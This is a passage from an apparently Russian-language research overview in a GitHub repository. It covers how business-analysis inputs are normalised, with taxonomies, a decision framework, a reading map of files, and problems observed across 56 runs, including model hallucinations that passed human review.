\u00ab\u0435\u0441\u0442\u044c \u043b\u0438 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435\u00bb \u0438 \u043d\u0438 \u0440\u0430\u0437\u0443\\n   \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u0435\u0451. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 **\u043e\u0446\u0435\u043d\u043a\u0443 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u0441 \u0433\u0435\u0439\u0442\u043e\u043c**, \u0430\\n   \u043d\u0435 \u043f\u043e\u0434\u0448\u0430\u0433\u043e\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\\n3. **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0434\u0451\u0436\u043d\u044b\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.** \u0412 9 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0438\u0437 56\\n   \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e `hallucinations_shipped > 0` \u2014 \u0432\u044b\u043c\u044b\u0441\u0435\u043b \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u043e\u0448\u0451\u043b \u0434\u043e\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u043f\u0440\u043e\u0439\u0434\u044f \u0440\u0435\u0432\u044c\u044e. \u041b\u044e\u0431\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 (\u0440\u0443\u0447\u043d\u0430\u044f, \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f,\\n   \u0433\u0438\u0431\u0440\u0438\u0434\u043d\u0430\u044f) \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0438\u043c\u0435\u0442\u044c **\u043c\u0430\u0448\u0438\u043d\u043d\u043e-\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0437\u0430\u0437\u0435\u043c\u043b\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435\\n   \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u044c.\\n4. **\u0414\u0432\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0430 \u043d\u0435 \u043e\u0434\u043d\u0430.** \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f (\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u043d\u0430 IT/B2B SaaS) \u0438\\n   Mango-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u044b \u0436\u0451\u0441\u0442\u043a\u043e \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b **\u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438**\\n   ([\u00a71 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md#1-\u043c\u0430\u0442\u0440\u0438\u0446\u0430-\u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438-\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f--mango-\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f)).\\n   \u0421\u0446\u0435\u043f\u043a\u0430 \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 `domain \u2192 capability \u2192 feature \u2192 function`.\\n5. **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u043f\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u2014 \u0433\u0438\u0431\u0440\u0438\u0434 (H-H)**, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0438\u0441\u0441: \u0440\u0443\u0447\u043d\u043e\u0439\\n   \u0440\u0435\u0436\u0438\u043c \u043d\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 56+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0437\u0430\u0437\u0435\u043c\u043b\u0435\u043d\u0438\u044f,\\n   \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u043f. 3. \u0420\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438,\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u2014\\n   [\u00a74 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md#4-\u0442\u0440\u0438-\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b-\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438).\\n6. **\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0439 \u044d\u0444\u0444\u0435\u043a\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\\n   \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442.** \u0420\u0435\u0435\u0441\u0442\u0440 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 **\u0432\u0441\u0435** \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b,\\n   \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0442\u043a\u043b\u043e\u043d\u0451\u043d\u043d\u044b\u0435; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u2014 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\\n   \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0440\u0438\u0442\u043c\u043e\u043c\\n   ([\u00a75 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md#5-\u043f\u0440\u043e\u0446\u0435\u0441\u0441-\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438-\u0438-\u0440\u0435\u0435\u0441\u0442\u0440-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439)).\\n7. **\u0420\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f GRA \u043f\u043e\u0432\u0435\u0440\u0445 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432 \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n   (H6), \u0430 \u043d\u0435 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430.** \u041e\u043d\u0430 \u044f\u0432\u043d\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u043a\u0430\u043a \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0438\\n   \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u0430 \u0432\\n   [\u00a74 \u0444\u0430\u0439\u043b\u0430 20-taxonomy.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/20-taxonomy.md#4-\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430-h6--\u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439-\u0441\u043b\u043e\u0439-\u043f\u043e\u0432\u0435\u0440\u0445-\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438-\u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432)\\n   \u0441 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430\\n   [`research/reputation-technologies`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/reputation-technologies).\\n8. **\u0410\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f.** \u041f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044e \u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442\\n   \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u043e\u043d\u0443\u044e\u0442: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432\u0445\u043e\u0434\u0430, \u0433\u0435\u0439\u0442\u044b, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438\\n   \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439, \u0440\u0435\u0435\u0441\u0442\u0440. \u041e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014\\n   [\u00a76 \u0444\u0430\u0439\u043b\u0430 30-decision-framework.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md#6-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435-\u0434\u043b\u044f-\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f-ba-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432).\\n\\n## \u041a\u0430\u0440\u0442\u0430 \u0447\u0442\u0435\u043d\u0438\u044f\\n\\n| \u0424\u0430\u0439\u043b | \u0427\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438 | \u041a\u043e\u043c\u0443 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d |\\n| --- | --- | --- |\\n| [`00-introduction.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/00-introduction.md) | BLUF, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043c\u0435\u0442\u043e\u0434, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f | \u0432\u0441\u0435\u043c |\\n| [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/10-theory.md) | \u0440\u0430\u043c\u043a\u0430 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u043e\u0431\u044a\u0435\u043a\u0442\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c, \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0443, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b H1\u2013H10 | \u0442\u0435\u043c, \u043a\u0442\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0441\u043f\u043e\u0440\u0438\u0442 \u0441 \u043d\u0438\u043c\u0438 |\\n| [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/20-taxonomy.md) | \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 IA-1\u2026IA-7, \u043e\u0441\u0438 O1\u2013O6, \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u044b (\u043a\u043e\u043d\u0442\u0443\u0440\u044b), \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 GRA, \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b U1\u2013U9, \u0441\u0440\u0435\u0437 Mango | \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0440\u0430\u043c\u043a\u043e\u0439 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 |\\n| [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/30-decision-framework.md) | \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438, \u0446\u0438\u043a\u043b \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0433\u0435\u0439\u0442\u044b, \u0432\u044b\u0431\u043e\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0442\u0440\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u0435\u0441\u0442\u0440 \u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 | \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0430\u0432\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/40-practice-and-cases.md) | \u043a\u043e\u0440\u043f\u0443\u0441 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0442\u044b\u0440\u0435 \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0440\u0430\u0437\u0431\u043e\u0440 \u00ab\u0447\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e / \u0447\u0442\u043e \u043d\u0435\u0442\u00bb | \u0442\u0435\u043c, \u043a\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u044b \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u044b |\\n| [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/50-open-research.md) | \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0440\u0430\u043d\u0436\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437, \u0432\u0445\u043e\u0434 \u0434\u043b\u044f RFC, \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, \u0441\u0430\u043c\u043e\u0430\u0443\u0434\u0438\u0442 | \u0440\u0435\u0432\u044c\u044e\u0435\u0440\u0443 \u0438 \u0430\u0432\u0442\u043e\u0440\u0443 RFC |\\n\\n\u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b:\\n\\n- **\u00ab\u043c\u043d\u0435 \u043d\u0443\u0436\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u00bb** \u2014 `10-theory.md` \u00a74;\\n- **\u00ab\u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0435\u00bb** \u2014 `20-taxonomy.md` \u00a71\u2013\u00a72;\\n- **\u00ab\u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0440\u0435\u0448\u0438\u0442\u044c, \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u044d\u0442\u043e \u0438\u043b\u0438 \u043a\u0430\u0441\u0442\u043e\u043c\u00bb** \u2014 `30-decision-framework.md` \u00a73;\\n- **\u00ab\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b\u00bb** \u2014 `30-decision-framework.md` \u0446\u0435\u043b\u0438\u043a\u043e\u043c + \u00a76.\\n\\n## 1. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\\n\\n\u0412\u0445\u043e\u0434 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043d\u0438 \u0438\u043c\u0435\u043d\u0438, \u043d\u0438 \u0442\u0438\u043f\u0430, \u043d\u0438 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u043c\u043e\u0433\u043e\\n\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430. \u041d\u0430 \u0432\u0445\u043e\u0434 \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442: \u0440\u0435\u043f\u043b\u0438\u043a\u0430 \u0432 \u0447\u0430\u0442\u0435, \u043f\u0438\u0441\u044c\u043c\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0442\u0438\u043a\u0435\u0442, \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430\\n\u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0433\u043e\u0442\u043e\u0432\u043e\u0435 \u0422\u0417, \u00ab\u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u043a\u0430\u043a \u0443 \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u0430\u00bb, \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440\u0430.\\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c\u00bb, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u043c \u0438 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0434\u0430\u044e\u0442\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043d\u0435\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430.\\n\\n\u0418\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b:\\n\\n| # | \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 | \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 |\\n| --- | --- | --- |\\n| P1 | \u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0445\u043e\u0434\u0430, \u0437\u043d\u0430\u0447\u0438\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | 32 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 \u0443\u0436\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e `task-`; \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e |\\n| P2 | \u041e\u0446\u0435\u043d\u043a\u0430 \u00ab\u0435\u0441\u0442\u044c \u043b\u0438 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435\u00bb \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u044f\u0432\u043d\u043e | \u00ab\u043f\u043e\u043a\u0440\u044b\u0442*\u00bb \u2014 41 \u043f\u0440\u043e\u0433\u043e\u043d, `discoverab*` \u2014 0 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 |\\n| P3 | \u0420\u0435\u0432\u044c\u044e \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0432\u044b\u043c\u044b\u0441\u0435\u043b | `hallucinations_shipped > 0` \u0432 9 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 |\\n| P4 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u0438\u043b\u0438 \u043a\u0430\u0441\u0442\u043e\u043c\u00bb \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432 | \u00ab\u043a\u0430\u0441\u0442\u043e\u043c\u00bb \u2014 10 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0432 \u043d\u0438\u0445 \u043d\u0435 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b |\\n\\n\u0427\u0438\u0441\u043b\u0430 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043c\u0435\u0440\u0430 \u2014\\n[`2026-08-25-mango-runs-empirical-snapshot.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md).\\n\\n## 2. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n\\n**\u0412\u0445\u043e\u0434\u0438\u0442 \u0432 \u0433\u0440\u0430\u043d\u0438\u0446\u044b:**\\n\\n- \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0435\u0451 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435;\\n- \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f (\u0448\u0438\u0440\u043e\u043a\u0438\u0439 IT / B2B SaaS), \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u0430\u044f \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043e\u043c;\\n- Mango-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f (\u0442\u0435\u043b\u0435\u043a\u043e\u043c + \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 +\\n  \u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0430 `runs/`);\\n- \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438 \u043c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438;\\n- \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0442\u0435\u0439\u043a\u0445\u043e\u043b\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430\u043c \u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f;\\n- \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u0431\u043e\u0440\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0435\u0441\u0442\u0440;\\n- \u0442\u0440\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0438\u0445 